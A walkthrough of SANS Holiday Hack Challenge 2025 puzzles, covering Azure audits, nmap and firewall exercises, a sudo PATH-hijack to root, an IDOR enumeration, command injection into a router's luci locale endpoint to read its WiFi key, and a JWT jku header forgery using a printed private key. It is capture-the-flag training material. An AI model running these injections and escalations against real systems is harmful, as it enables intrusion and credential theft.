SANS Holiday Hack Challenge 2025

This is a walk-through for some challenges of the SANS Holiday Hack Challenge 2025.

Table of Contents

Act I

The Counter Hack crew is in the Neighborhood festively preparing for the holidays when they are suddenly overrun by lively Gnomes in Your Home! There must have been some magic in those Gnomes, because, due to some unseen spark, some haunting hocus pocus, they have come to life and are now scurrying around the Neighborhood.

Holiday Hack Orientation

Difficulty: 1/5, Location: Train

Meet Lynn Schifano on the train for a warm welcome and get ready for your journey around the Dosis Neighborhood.

Click on Lynn Schifano on the train.

Welcome to the 2025 SANS Holiday Hack Challenge! We’re on a train heading… NOT to the North Pole, but instead to The Neighborhood. Your cybersecurity skills are needed there this year! I’m here to help orient you to this year’s exciting challenge.

Lynn Schifano

  • Click on the First Terminal cranberry pie terminal.
  • Click in the upper pane of the terminal.
  • Type answer and press Enter.

This will unlock the objectives. Click on the door to leave the train.

Visual Networking Thinger

Difficulty: 1/5, Location: The Neighborhood

Skate over to Jared at the frozen pond for some network magic and learn the ropes by the hockey rink.

Click on Jared Folkins.

Jared Folkins here! My favorite Christmas movie is White Christmas. You should find me on the socials and tell me what yours is.

Jared Folkins

Click on the Visual Networking cranberry pie terminal.

Step one is to find the IP address of visual-networking.holidayhackchallenge.com. Let’s use an IPv4 DNS request!

Challenge 1: DNS Lookup

  • Client:
    • Port: 53
    • Domain Name: visual-networking.holidayhackchallenge.com
    • Request Type: A. Type A returns a 32-bit IPv4 address. See List of DNS record types (Wikipedia).
  • DNS Server:
    • Response Value: 34.160.145.134
    • Response Record Type: A
  • Click on Submit DNS Resolution.

Challenge 2: TCP 3-Way Handshake

Now that we have the IP address of the web server, we need a TCP connection. Drag and drop TCP flags to create TCP 3-way handshake between client and server.

Drag the TCP flags as follow:

  • Client: SYN
  • Web Server: SYN ACK
  • Client: ACK

Challenge 3: HTTP GET Request

Now that we have established a TCP connection, let’s create an HTTP GET request to retrieve the web page.

  • HTTP Request:
    • HTTP Verb: GET
    • HTTP Version: HTTP/2
    • Host: visual-networking.holidayhackchallenge.com
    • User-Agent: leave empty

Challenge 4: TLS Handshake

Great job with HTTP! Now let’s set up a secure connection using TLS. Drag and drop the TLS messages to create the correct handshake sequence.

  • Client Hello
  • Server Hello
  • Certificate
  • Client Key Exchange
  • Server Change Cipher Spec
  • Finished

Challenge 5: HTTPS GET Request

Now that we’ve established a secure TLS connection, let’s make an HTTPS request to retrieve the website securely.

  • HTTP Request:
    • HTTP Verb: GET
    • HTTP Version: HTTP/2
    • Host: visual-networking.holidayhackchallenge.com
    • User-Agent: leave empty

Spare Key

Difficulty: 1/5, Location: The Neighborhood

Help Goose Barry near the pond identify which identity has been granted excessive Owner permissions at the subscription level, violating the principle of least privilege.

Click on Barry.

The Neighborhood HOA hosts a static website on Azure Storage.

An admin accidentally uploaded an infrastructure config file that contains a long-lived SAS token.

Use Azure CLI to find the leak and report exactly where it lives.

Barry

Click on the Spare Key cranberry pie terminal.

az group list -o table
az storage account list --resource-group rg-the-neighborhood -o table
az storage blob service-properties show --account-name neighborhoodhoa --auth-mode login
az storage container list --account-name neighborhoodhoa --auth-mode login
az storage blob list --account-name neighborhoodhoa --auth-mode login --container-name '$web' -o table
az storage blob download --account-name neighborhoodhoa --auth-mode login -c '$web' --name iac/terraform.tfvars --file /dev/stdout | less
finish

Storage Secrets / Blob Storage Challenge

Difficulty: 1/5, Location: The Neighborhood

Help the Goose Grace near the pond find which Azure Storage account has been misconfigured to allow public blob access by analyzing the export file.

Click on Grace.

The Neighborhood HOA uses Azure storage accounts for various IT operations.

You’ve been asked to audit their storage security configuration to ensure no sensitive data is publicly accessible.

Recent security reports suggest some storage accounts might have public blob access enabled, creating potential data exposure risks.

Click on the Storage Secrets cranberry pie terminal.

az help | less
az account show | less
az storage account list | less
az storage account show --name neighborhood2
az storage container list --account-name neighborhood2
az storage blob list --account-name neighborhood2 --container-name 'public'
az storage blob download --account-name neighborhood2 --container-name 'public' --name admin_credentials.txt --file /dev/stdout
finish

Santa’s Gift-Tracking Service Port Mystery

Difficulty: 1/5, Location: The Neighborhood

Chat with Yuri near the apartment building about Santa’s mysterious gift tracker and unravel the holiday mystery.

Click on Yuri.

Hi! I’m Yori.

I was Ed’s lost intern back in 2015, but I was found!

Think you can check out this terminal for me? I need to use cURL to access the gift tracker system, but it has me stumped.

Please see what you can do!

Click on the Santa’s Gift-Tracking cranberry pie terminal.

  1. Use the ‘ss’ tool to identify which port the santa_tracker process is listening on.
ss -antp
🎄 tinkerer @ Santa Tracker ~ 🎅 $ ss -antp  
State           Recv-Q          Send-Q                    Local Address:Port                      Peer Address:Port          Process          
LISTEN          0               5                               0.0.0.0:12321                          0.0.0.0:*

2. Connect to that port to verify the service is running.

telnet 127.0.0.1 12321

Owner

Difficulty: 1/5, Location: The Neighborhood

Help Goose James near the park discover the accidentally leaked SAS token in a public JavaScript file and determine what Azure Storage resource it exposes and what permissions it grants.

Click on James.

The Neighborhood HOA uses Azure for their IT infrastructure.

The Neighborhood network admins use RBAC fo access control.

Your task is to audit their RBAC configuration to ensure they’re following security best practices.

They claim all elevated access uses PIM, but you need to verify there are no permanently assigned Owner roles.

Click on the Owner cranberry pie terminal.

az account list --query "[].name"
az account list --query "[?state=='Enabled'].{Name:name, ID:id}"
az role assignment list --scope "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64" --query [?roleDefinition=='Owner']
az role assignment list --scope "/subscriptions/065cc24a-077e-40b9-b666-2f4dd9f3a617" --query [?roleDefinition=='Owner']

Use the principalId in the IT Admin group previously found.

az ad group get-member-groups --group "6b982f2f-78a0-44a8-b915-79240b2b4796"
az ad group get-member-groups --group "631ebd3f-39f9-4492-a780-aef2aec8c94e"
finish

Intro to Nmap

Difficulty: 1/5, Location: The Neighborhood

Meet Eric in the hotel parking lot for Nmap know-how and scanning secrets. Help him connect to the wardriving rig on his motorcycle!

Click on Eric Pursley.

Help me find and connect to the wardriving rig’s service on my motorcycle!

Click on the Intro to Nmap cranberry pie terminal (motocycle).

yes

1) When run without any options, nmap performs a TCP port scan of the top 1000 ports. Run a default nmap scan of 127.0.12.25 and see which port is open.

nmap 127.0.12.25

2) Sometimes the top 1000 ports are not enough. Run an nmap scan of all TCP ports on 127.0.12.25 and see which port is open.

nmap -p1-65535 127.0.12.25

3) Nmap can also scan a range of IP addresses. Scan the range 127.0.12.20 – 127.0.12.28 and see which has a port open.

nmap 127.0.12.20-28

4) Nmap has a version detection engine, to help determine what services are running on a given port. What service is running on 127.0.12.25 TCP port 8080?

nmap -sV -p 8080 127.0.12.25

5) Sometimes you just want to interact with a port, which is a perfect job for Ncat! Use the ncat tool to connect to TCP port 24601 on 127.0.12.25 and view the banner returned.

nc -nv 127.0.12.25 24601

Congratulations, you finished the Intro to Nmap and found the wardriving rig’s service! Type “exit” to close…

exit

It’s All About Defang

Difficulty: 1/5, Location: The Neighborhood, City Hall

Find Ed Skoudis upstairs in City Hall and help him troubleshoot a clever phishing tool in his cozy office.

Click on Ed Skoudis.

The team has been working on this new SOC tool that helps triage phishing emails…and there are some…issues.

We have had some pretty sketchy emails coming through and we need to make sure we block ALL of the indicators of compromise. Can you help me? No pressure…

Click on the It’s All About Defang cranberry pie terminal.

Step Objective: Extract IOCs

Extract all suspicious domains, IPs, URLs, and email addresses

Use the tabs below to extract each IOC type from the email. Be sure not to include legitimate assets!

Click on the Domains tab. Domain Pattern:

([a-z\.])*icicleinnovations\.[a-z\.]+

Click on the IP Addresses tab. IP Address Pattern:

(172|192)\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}

Click on the URLs tab. URL Pattern:

http[s]+://[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)+(:[0-9]+)?(/[^\s]*)?

Click on the Email Addresses tab. Email Address Pattern:

[a-zA-Z0-9_]+@icicleinnovations\.[a-zA-Z]+

Step Objective: Defang Selected IOCs

Defanging IOCs (Indicators of Compromise) is crucial to ensure that malicious content cannot be accidentally activated. This phishing campaign may be connected to the recent Gnome activities! Your mission:

  • Replace dots/periods with [.]
  • Replace @ in email addresses with [@]
  • Replace http with hxxp in URLs
  • Replace :// with [://] in URLs
  • Submit the defanged IOCs to the Counter Hack Security Team
s/\./[.]/g; s/@/[@]/g; s/http/hxxp/g; s/:\//[://]/g

Neighborhood Watch Bypass

Difficulty: 1/5, Location: The Neighborhood, Old data center

Assist Kyle at the old data center with a fire alarm that just won’t chill.

Click on Kyle Parrish.

Anyway, I could use some help here. This fire alarm keeps going nuts but there’s no fire. I checked.

I think someone has locked us out of the system. Can you see if you can get back in?

Click on the Neighborhood Fire Alarm System.

MISSION CRITICAL: Restore full fire alarm system control

Your mission: Find a way to bypass the current restrictions and elevate to fire safety admin privileges. Once you regain full access, run the special command /etc/firealarm/restore_fire_alarm to restore complete fire alarm system control and protect the Dosis neighborhood from potential emergencies.

Check if the user can execute sudo commands.

sudo -l
Matching Defaults entries for chiuser on 5f44f5037d61:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty, secure_path=/home/chiuser/bin\:/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    env_keep+="API_ENDPOINT API_PORT RESOURCE_ID HHCUSERNAME", env_keep+=PATH

User chiuser may run the following commands on 5f44f5037d61:
    (root) NOPASSWD: /usr/local/bin/system_status.sh

The user can execute “/usr/local/bin/system_status.sh”. The secure_path also starts with “/home/chiuser/bin”. The user can write to this directory.

Inspect /usr/local/bin/system_status.sh

cat /usr/local/bin/system_status.sh
#!/bin/bash
echo "=== Dosis Neighborhood Fire Alarm System Status ==="
echo "Fire alarm system monitoring active..."
echo ""
echo "System resources (for alarm monitoring):" 
free -h
echo -e "\nDisk usage (alarm logs and recordings):"
df -h
echo -e "\nActive fire department connections:"
w
echo -e "\nFire alarm monitoring processes:"
ps aux | grep -E "(alarm|fire|monitor|safety)" | head -5 || echo "No active fire monitoring processes detected"
echo ""
echo "🔥 Fire Safety Status: All systems operational"
echo "🚨 Emergency Response: Ready"
echo "📍 Coverage Area: Dosis Neighborhood (all sectors)"

The “free” command is used. Create a file named “free” that is ahead in the path.

echo "/bin/bash" > /home/chiuser/bin/free

Adjust permissions.

chmod ugo+x /home/chiuser/bin/free

Elevate privileges.

sudo /usr/local/bin/system_status.sh

You now have a shell as root.

/etc/firealarm/restore_fire_alarm

Visual Firewall Thinger

Difficulty: 1/5, Location: The Neighborhood, Grand Hotel (NetWars room)

Find Elgee in the big hotel for a firewall frolic and some techy fun.

In the NetWars room, use the “E” and “Q” keys to change perspective.

Click on Chris Elgee.

I’ve whipped up something sweeter than my favorite whoopie pie – an interactive firewall simulator that’ll teach you more in ten minutes than most textbooks do in ten chapters.

Don’t worry about breaking anything; that’s half the fun of learning!

Ready to dig in?

Click on the Visual Firewall.

Configure your firewall to meet these security requirements:

  • Internet to DMZ: Allow only HTTP and HTTPS traffic
  • DMZ to Internal: Allow HTTP, HTTPS, and SSH traffic
  • Internal to DMZ: Allow HTTP, HTTPS, and SSH traffic
  • Internal to Cloud: Allow HTTP, HTTPS, SSH, and SMTP traffic
  • Internal to Workstations: Allow all traffic types

Internet to DMZ: Allow only HTTP and HTTPS traffic

  • Click on the link between Internet and DMZ
  • Select HTTPS (Port 443) and HTTP (Port 80)
  • Click Save Rules

DMZ to Internal / Internal to DMZ: Allow HTTP, HTTPS, and SSH traffic

  • Click on the link between DMZ and Internal Network
  • Select HTTPS (Port 443), HTTP (Port 80) and SSH (Port 22)
  • Click Save Rules

Internal to Cloud: Allow HTTP, HTTPS, SSH, and SMTP traffic

  • Click on the link between Internal Network and Cloud Services
  • Select HTTPS (Port 443), HTTP (Port 80), SSH (Port 22) and SMTP (Port 25)
  • Click Save Rules

Internal to Workstations: Allow all traffic types

  • Click on the link between Internal Network and Workstations
  • Select all protocols (DNS, HTTP, SMTP, HTTPS, SMB, SSH).
  • Click Save Rules

The Open Door

Difficulty: 1/5, Location: The Neighborhood, Grand Hotel (NetWars room)

Help Goose Lucas in the hotel parking lot find the dangerously misconfigured Network Security Group rule that’s allowing unrestricted internet access to sensitive ports like RDP or SSH.

Click on Lucas.

Please make sure the towns Azure network is secured properly.

The Neighborhood HOA uses Azure for their IT infrastructure.

Audit their network security configuration to ensure production systems aren’t exposed to internet attacks.

They claim all systems are properly protected, but you need to verify there are no overly permissive NSG rules.

Click on the The Open Door cranberry pie terminal.

First, let’s see resource groups in JSON format.

az group list

Great! Now let’s see the same data in table format for better readability.

az group list -o table
Name                 Location    ProvisioningState
-------------------  ----------  -------------------
theneighborhood-rg1  eastus      Succeeded
theneighborhood-rg2  westus      Succeeded

Lets take a look at Network Security Groups (NSGs).

az network nsg list -o table
Location    Name                   ResourceGroup
----------  ---------------------  -------------------
eastus      nsg-web-eastus         theneighborhood-rg1
eastus      nsg-db-eastus          theneighborhood-rg1
eastus      nsg-dev-eastus         theneighborhood-rg2
eastus      nsg-mgmt-eastus        theneighborhood-rg2
eastus      nsg-production-eastus  theneighborhood-rg1

Inspect the Network Security Group (web).

az network nsg show --name nsg-web-eastus --resource-group theneighborhood-rg1 | less

Inspect the Network Security Group (mgmt).

az network nsg rule list --nsg-name nsg-dev-eastus --resource-group theneighborhood-rg2 -o table
Allow     Inbound      Allow-Jumpbox-Remote-Access  120         Tcp         nsg-dev-eastus  10.2.0.0/24            *                  *                           3389,22

Take a look at the rest of the NSG rules and examine their properties. After enumerating the NSG rules, enter the command string to view the suspect rule and inspect its properties.

The challenge says “allowing unrestricted internet access to sensitive ports like RDP or SSH”.

az network nsg rule list --nsg-name nsg-web-eastus --resource-group theneighborhood-rg1 >> rules.txt

az network nsg rule list --nsg-name nsg-db-eastus --resource-group theneighborhood-rg1 >> rules.txt

az network nsg rule list --nsg-name nsg-dev-eastus --resource-group theneighborhood-rg2 >> rules.txt

az network nsg rule list --nsg-name nsg-mgmt-eastus --resource-group theneighborhood-rg2 >> rules.txt

az network nsg rule list --nsg-name nsg-production-eastus --resource-group theneighborhood-rg1 >> rules.txt

Inspect rules.txt. This rules allows inbound RDP from the internet.

{
    "name": "Allow-RDP-From-Internet",
    "nsg": "nsg-production-eastus",
    "properties": {
      "access": "Allow",
      "destinationPortRange": "3389",
      "direction": "Inbound",
      "priority": 120,
      "protocol": "Tcp",
      "sourceAddressPrefix": "0.0.0.0/0"
    }
  }
az network nsg rule show --name Allow-RDP-From-Internet --nsg-name nsg-production-eastus --resource-group theneighborhood-rg1
finish

Act II

The Gnomes’ nefarious plot seems to involve stealing refrigerator parts. But why?

IDORable Bistro

Difficulty: 2/5, Location: The Neighborhood, Sasabune

Josh has a tasty IDOR treat for you—stop by Sasabune for a bite of vulnerability. What is the name of the gnome?

Click on Josh.

A gnome came through Sasabune today, poorly disguising itself as human – apparently asking for frozen sushi, which is almost as terrible as that fusion disaster I had to endure that one time.

Based on my previous work finding IDOR bugs in restaurant payment systems, I suspect we can exploit a similar vulnerability here.

I was…at a talk recently…and learned some interesting things about some of these payment systems. Let’s use that receipt to dig deeper and unmask this gnome’s true identity.

Walk on the right of the Sasabune building to find the item “Crumbled Sasabune Receipt”.

crumbled piece of paper that appears to be a receipt for Sasabune. Interesting…this receipt has one of those QR code thingies on it. I wonder…

The receipt has a QR code. Scan it using any online QR code scanner. It will give you this URL:

https://its-idorable.holidayhackchallenge.com/receipt/i9j0k1l2

Access the URL using Burp Suite. A call is made to this API.

GET /api/receipt?id=103 HTTP/2
Host: its-idorable.holidayhackchallenge.com

There is an IDOR in the API in parameter “id”.

https://its-idorable.holidayhackchallenge.com/api/receipt?id=<ID>

Use the Intruder module in Burp Suite. Use Numbers between 1 and 200. The web server responds with “HTTP 200 OK” for IDs between 101 to 152 (instead of “HTTP 404 Not Found”).

Josh told us the gnome was asking for “frozen sushi”. Search for “frozen” in the results. We find id 139 is suspicious.

GET /api/receipt?id=139 HTTP/2
Host: its-idorable.holidayhackchallenge.com
[...]
HTTP/2 200 OK
Content-Type: application/json
X-Cloud-Trace-Context: 32840d116ec505a0ad92e911e847c38f
Date: Tue, 18 Nov 2025 20:14:13 GMT
Server: Google Frontend
Content-Length: 438
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

{"customer":"Bartholomew Quibblefrost",
"date":"2025-12-20",
"id":139,
"items":[{"name":"Frozen Roll (waitress improvised: sorbet, a hint of dry ice)", "price":19.0}],
"note":"Insisted on increasingly bizarre rolls and demanded one be served frozen. The waitress invented a 'Frozen Roll' on the spot with sorbet and a puff of theatrical smoke. He nodded solemnly and asked if we could make these in bulk.",
"paid":true,
"table":14,
"total":19.0}

Flag is: Bartholomew Quibblefrost

Dosis Network Down

Difficulty: 2/5, Location: The Neighborhood, 24-7

Drop by JJ’s 24-7 for a network rescue and help restore the holiday cheer. What is the WiFi password found in the router’s config?

Click on Janusz Jasinski.

Alright then. Those bloody gnomes ‘ave proper messed about with the neighborhood’s wifi – changed the admin password, probably mucked up all the settings, the lot.

Now I can’t get online and it’s doing me ‘ead in, innit?

We own this router, so we’re just takin’ back what’s ours, yeah?

You reckon you can ‘elp me ‘ack past whatever chaos these little blighters left be’ind?

Click on the Dosis Network Down router.

It brings us to this URL:

https://dosis-network-down.holidayhackchallenge.com/

Enter the wrong password a few time. A message says:

Too many failed attempts. Try the debug console.

Open the Console using the Browser’s DevTools (right-click on the webpage -> Inspect, and click on the Console tab).

Debug: Authentication failed. Have you tried checking the network for a debug endpoint?

The webpage gives us information about the Wifi router.

AX1800 Wi-Fi 6 Router
Firmware Version 1.1.4 Build 20230219 rel.69802
Hardware Version: Archer AX21 v2.0

Search on Google vulnerability on AX1800 build 20230219.

We get to this exploit, that should work “before” 1.1.4 Build 20230219: https://www.exploit-db.com/exploits/51677

This line is interesting:

url_command = "https://" + args.router + "/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(" + revshell + ")"

Using Burp Suite, send this request using the Repeater module. You need to send it twice (first time replies with “OK”).

GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id) HTTP/2
Host: dosis-network-down.holidayhackchallenge.com
[...]
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
[...]

uid=0(root) gid=0(root) groups=0(root)

We can now send command as the root user.

The challenge objective says “What is the WiFi password found in the router’s config?”. Look for the configuration file.

GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(grep%20-Ril%20config%20/) HTTP/2
Host: dosis-network-down.holidayhackchallenge.com
[...]
HTTP/2 200 OK
[...]

/bin/grep
/bin/id
/bin/ls
/cgi-bin/status.cgi
/etc/config/dhcp
/etc/config/firewall
/etc/config/leds
/etc/config/network
/etc/config/system
/etc/config/wireless
/etc/hostapd.conf
/lib/ld-linux-x86-64.so.2
/lib/libc.so.6
/lib/libpcre2-8.so.0
/lib/libselinux.so.1
/lib64/ld-linux-x86-64.so.2
/www/index.html

Get the password from /etc/config/wireless.

GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cat%20/etc/config/wireless) HTTP/2
Host: dosis-network-down.holidayhackchallenge.com
[...]
HTTP/2 200 OK
[...]

config wifi-device 'radio0'
	option type 'mac80211'
	option channel '6'
	option hwmode '11g'
	option path 'platform/ahb/18100000.wmac'
	option htmode 'HT20'
	option country 'US'

config wifi-device 'radio1'
	option type 'mac80211'
	option channel '36'
	option hwmode '11a'
	option path 'pci0000:00/0000:00:00.0'
	option htmode 'VHT80'
	option country 'US'

config wifi-iface 'default_radio0'
	option device 'radio0'
	option network 'lan'
	option mode 'ap'
	option ssid 'DOSIS-247_2.4G'
	option encryption 'psk2'
	option key 'SprinklesAndPackets2025!'

config wifi-iface 'default_radio1'
	option device 'radio1'
	option network 'lan'
	option mode 'ap'
	option ssid 'DOSIS-247_5G'
	option encryption 'psk2'
	option key 'SprinklesAndPackets2025!'

SprinklesAndPackets2025!

Rogue Gnome Identity Provider

Difficulty: 2/5, Location: The Neighborhood, Park

Hike over to Paul in the park for a gnomey authentication puzzle adventure. What malicious firmware image are the gnomes downloading?

Click on Paul Beckett.

As a pentester, I proper love a good privilege escalation challenge, and that’s exactly what we’ve got here.

I’ve got access to a Gnome’s Diagnostic Interface at gnome-48371.atnascorp with the creds gnome:SittingOnAShelf, but it’s just a low-privilege account.

The gnomes are getting some dodgy updates, and I need admin access to see what’s actually going on.

Ready to help me find a way to bump up our access level, yeah?

Click on the Rogue Gnome cranberry pie terminal.

Hi, Paul here. Welcome to my web-server. I’ve been using it for JWT analysis.

I’ve discovered the Gnomes have a diagnostic interface that authenticates to an Atnas identity provider.

Unfortunately the gnome:SittingOnAShelf credentials discovered in 2015 don’t have sufficient access to view the gnome diagnostic interface.

I’ve kept some notes in ~/notes

Can you help me gain access to the Gnome diagnostic interface and discover the name of the file the Gnome downloaded? When you identify the filename, enter it in the badge.

There is a file called “notes” with some information for the challenge.

# Sites

## Captured Gnome:
curl http://gnome-48371.atnascorp/

## ATNAS Identity Provider (IdP):
curl http://idp.atnascorp/

## My CyberChef website:
curl http://paulweb.neighborhood/
### My CyberChef site html files:
~/www/


# Credentials

## Gnome credentials (found on a post-it):
Gnome:SittingOnAShelf


# Curl Commands Used in Analysis of Gnome:

## Gnome Diagnostic Interface authentication required page:
curl http://gnome-48371.atnascorp

## Request IDP Login Page
curl http://idp.atnascorp/?return_uri=http%3A%2F%2Fgnome-48371.atnascorp%2Fauth

## Authenticate to IDP
curl -X POST --data-binary $'username=gnome&password=SittingOnAShelf&return_uri=http%3A%2F%2Fgnome-48371.atnascorp%2Fauth' http://idp.atnascorp/login

## Pass Auth Token to Gnome
curl -v http://gnome-48371.atnascorp/auth?token=<insert-JWT>

## Access Gnome Diagnostic Interface
curl -H 'Cookie: session=<insert-session>' http://gnome-48371.atnascorp/diagnostic-interface

## Analyze the JWT
jwt_tool.py <insert-JWT>

In the home directory, there is a directory containing a JWKS file and the private key for signing the JWT.

cat ~/.jwt_tool/jwttool_custom_jwks.json
{
    "keys":[
        {
            "kty":"RSA",
            "kid":"jwt_tool",
            "use":"sig",
            "e":"AQAB",
            "n":"tchOVdXUg9T_HV2f9TVZeoH3G2uB243yAa6Hh7RsyeOy1tAs-OEnD1_5TWrljY-RqoSfoEjbE38rtVLp_weDfroHn8I-I9lGuAA-wDI70sOTm4tSSDuwD9VBFmXI-dFwsTN446yRJagaZP4ZgfPoreOL9bpfL_7HxPOJZ14z2ZJZaP-7hr1HSasyTkkRG3u4pylgoRUu2ZUxWhqNg1A7e1YNUrtlqagooFxGYkZBXbBXJbHdMLn-PSs3tc3pWQEQHPAYBSFHnCzyTEOFQOixh-OQq3KyL5sHKvOWUhTyO2USOmJHLYUbCEd6_DfrcR4P5EctwTlTEU1ssXONGgxHAQ"
        }
    ]
}
cat ~/.jwt_tool/jwttool_custom_private_RSA.pem
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAtchOVdXUg9T/HV2f9TVZeoH3G2uB243yAa6Hh7RsyeOy1tAs
+OEnD1/5TWrljY+RqoSfoEjbE38rtVLp/weDfroHn8I+I9lGuAA+wDI70sOTm4tS
SDuwD9VBFmXI+dFwsTN446yRJagaZP4ZgfPoreOL9bpfL/7HxPOJZ14z2ZJZaP+7
hr1HSasyTkkRG3u4pylgoRUu2ZUxWhqNg1A7e1YNUrtlqagooFxGYkZBXbBXJbHd
MLn+PSs3tc3pWQEQHPAYBSFHnCzyTEOFQOixh+OQq3KyL5sHKvOWUhTyO2USOmJH
LYUbCEd6/DfrcR4P5EctwTlTEU1ssXONGgxHAQIDAQABAoIBAAnvv7RxS5fDx+Qw
HJoOq7U9irmWDMENYqDwef7KEoCOXmffvj/dUtOfri4GYjMrq/ITbV++FOndReyT
qTAR8ZKkkrkdX9Kdr8ki52/GgXWi9HdjzCT7XtW5Avfd9FPq84s6/bF4SG6PKZdV
g5K3AM06PZvxOGymjtqAjuC2igSY/vvaIh5xYcRpi0Dz93fZDpIjFrqREqD7m4FL
APvKsiNo/XwEt1M9m5TGln7BV4bxqJCb0G4XuTrd0kGum16piWWELWdzAYXq5H2g
d35lgyWd36wdjqtbGEzT1MwQwo7ZJWcsX6g15IoLCNAQZqi3EJFK2gWkkH6qEsWB
C4ennZ8CgYEAuK898DzM+PUZVGspelnIcspP9/5IKyidkuJY8J2LOTnSaKKWlwqs
zIwVXjH2b/ub5ZVKmJB7wFpJvzfckmLq1ITRiGJDG3gx36JUqkcvgk3MWs/YPTLz
YecydyMqSBV3jnOSUzm0NFmPGtdzaFxIujP7v7CcV4nABUzY0T95ay8CgYEA+/ou
ZZ/hj0nAdTeMpk1yO8xdssay5Yp0AOCNv3gDNz31HwjK46oUF8p52YpHJqGhpos0
n+9GA1kPDeBj9b/hQV0NIqNvjq+jNSHeXA9J+ORLdWXepX61/jgaFl18JV7RHICb
eLtTz4Sve9vFGTFi9gmkdBFrK1S7vvvVtmX0JM8CgYEAnuNtd0Tn13wOmblESxX5
RQDXgfULo83imx8PA5uWztn3MrxGsJWniqcuLwbvDPK78e3Z6p3LSfajodZudqaR
f9rw5dQcBgMHbW4cRw7NSd6i5LISSLyP9XfRy/u+AZwuaqj1h5KKfctbOe2IRY23
qDLW8NkB+LHzONwfYQ6p6FMCgYEA+nF1AAji9boGEfs+TmSXb5v2XSRk1wS/u8d0
26N6/sMUCN6CWbnH8sWKSo/HnDv2IUQm7/ewDM/NyKsIb09hocfMsGrlDFrByqN5
EOMZUMoHvg2cN70zQhOcyjHsnHAbQ0sIO/1kldN5X4/V3O5bP9PhooNVk2HKoU5I
4dt/x70CgYEAqZZ6tnvNAFh+jtN8QbpxhiBoc+UtlVNJpHzTWG3lE1cTSGVgBAcy
v5PgtV2btSft919MRd6RL9P56eElAA+pVh3ntF2HcqD3MdOPp0YthqRFRa6UyI9L
pZziuTnAhbUqoMmrbLsGTIQ4j0TqZSv8WZ5C8Nn8SI1tXYkNOJQOUC0=
-----END RSA PRIVATE KEY-----

Using instructions from the notes, authenticate to the IDP.

curl -X POST --data-binary $'username=gnome&password=SittingOnAShelf&return_uri=http%3A%2F%2Fgnome-48371.atnascorp%2Fauth' http://idp.atnascorp/login
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="http://gnome-48371.atnascorp/auth?token=eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9pZHAuYXRuYXNjb3JwLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImlkcC1rZXktMjAyNSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NDExMDc1NSwiZXhwIjoxNzY0MTE3OTU1LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6ZmFsc2V9.ElEZEN0xoIfzpHOb2OmM7lxK0tfr4OrrcII7oUOw-SlTRXKeWRzKqQRK4VVSkC-Ect6yqNiTqynzAVPATPBlisKM7eflejcndtqZ655xj8DlkB7QNbrJZrtCTGDlPkFzXYSpqlSE966CHcyXaLOscbhhgMZrobboXf2PdFV12-V3u4mQuVXIa68rDa6YSaSz9nChbkBHr478IvrzFeTDuU4J8xAH82cAEC3lJyf9z_khrMjwaC2NtPx1IJPtLSnsaF-w5NqVdY06SfKgdHKsO-rtcoTzTbVrzSFla0XkRWum-8KODQYngJ7n-7ZjsE8r63yLGr2QhtFcPuZoN2kpsA">
[...]

We get a JSON Web Token (JWT).

eyJhbGciOiJSUzI1NiIsImprdSI6Imh0dHA6Ly9pZHAuYXRuYXNjb3JwLy53ZWxsLWtub3duL2p3a3MuanNvbiIsImtpZCI6ImlkcC1rZXktMjAyNSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJnbm9tZSIsImlhdCI6MTc2NDExMDc1NSwiZXhwIjoxNzY0MTE3OTU1LCJpc3MiOiJodHRwOi8vaWRwLmF0bmFzY29ycC8iLCJhZG1pbiI6ZmFsc2V9.ElEZEN0xoIfzpHOb2OmM7lxK0tfr4OrrcII7oUOw-SlTRXKeWRzKqQRK4VVSkC-Ect6yqNiTqynzAVPATPBlisKM7eflejcndtqZ655xj8DlkB7QNbrJZrtCTGDlPkFzXYSpqlSE966CHcyXaLOscbhhgMZrobboXf2PdFV12-V3u4mQuVXIa68rDa6YSaSz9nChbkBHr478IvrzFeTDuU4J8xAH82cAEC3lJyf9z_khrMjwaC2NtPx1IJPtLSnsaF-w5NqVdY06SfKgdHKsO-rtcoTzTbVrzSFla0XkRWum-8KODQYngJ7n-7ZjsE8r63yLGr2QhtFcPuZoN2kpsA

Use the JWT Decoder on jwt.io.

{
  "alg": "RS256",
  "jku": "http://idp.atnascorp/.well-known/jwks.json",
  "kid": "idp-key-2025",
  "typ": "JWT"
}
{
  "sub": "gnome",
  "iat": 1764110755,
  "exp": 1764117955,
  "iss": "http://idp.atnascorp/",
  "admin": false
}

We need to set “admin” to true to elevate our privileges.

We can do a JWT header parameter injection. See JSON Web Token (JWT).

The notes says that “http://paulweb.neighborhood” is hosted locally in /home/paul/www/. We will use this location to host a JWKS file.

Use the JWT Encoder on jwt.io.

Header: update the jku and kid parameters

{
  "alg": "RS256",
  "jku": "http://paulweb.neighborhood/jwttool_custom_jwks.json",
  "kid": "jwt_tool",
  "typ": "JWT"
}

Payload: change “admin” from false to true

{
  "sub": "gnome",
  "iat": 1764110755,
  "exp": 1764117955,
  "iss": "http://idp.atnascorp/",
  "admin": true
}

Private key: copy and paste the private key content previously found (~/.jwt_tool/jwttool_custom_public_RSA.pem).

We get a new JWT.

